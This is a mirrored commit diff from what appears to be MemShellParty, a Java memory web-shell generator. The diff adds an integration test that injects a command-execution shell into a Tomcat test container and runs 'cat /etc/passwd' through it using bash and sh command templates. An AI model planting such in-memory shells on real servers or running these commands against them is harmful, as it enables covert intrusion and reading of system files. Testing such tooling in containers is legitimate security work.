archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support command template

Browse Source
This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent baeb3daa50
commit bac3023dfa
16 changed files with 253 additions and 82 deletions
Download Patch File Download Diff File Expand all files Collapse all files
integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java
+48 -2
View File
@@ -8,26 +8,34 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Base64;
import java.util.Objects;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -55,6 +63,44 @@ public class Tomcat8CommandEncryptorContainerTest {
);
}
@ParameterizedTest
@SneakyThrows
@ValueSource(strings = {
"/bin/bash -c \"{command}\" 2>&1",
"sh -c \"{command}\" 2>&1",
"{command}"
})
void testTemplate(String template) {
String url = getUrl(container);
String shellTool = ShellTool.Command;
String shellType = ShellType.FILTER;
Packers packer = Packers.BigInteger;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
ShellToolConfig shellToolConfig = CommandConfig.builder()
.paramName(uniqueName)
.template(template)
.build();
MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer);
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl httpUrl = Objects.requireNonNull(HttpUrl.parse(shellUrl))
.newBuilder()
.addQueryParameter(uniqueName, "cat /etc/passwd")
.build();
Request request = new Request.Builder()
.url(httpUrl)
.get().build();
try (Response response = okHttpClient.newCall(request).execute()) {
String res = response.body().string();
System.out.println(res.trim());
assertTrue(res.contains("root:x:0:0:root:/root:/bin/bash"));
}
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();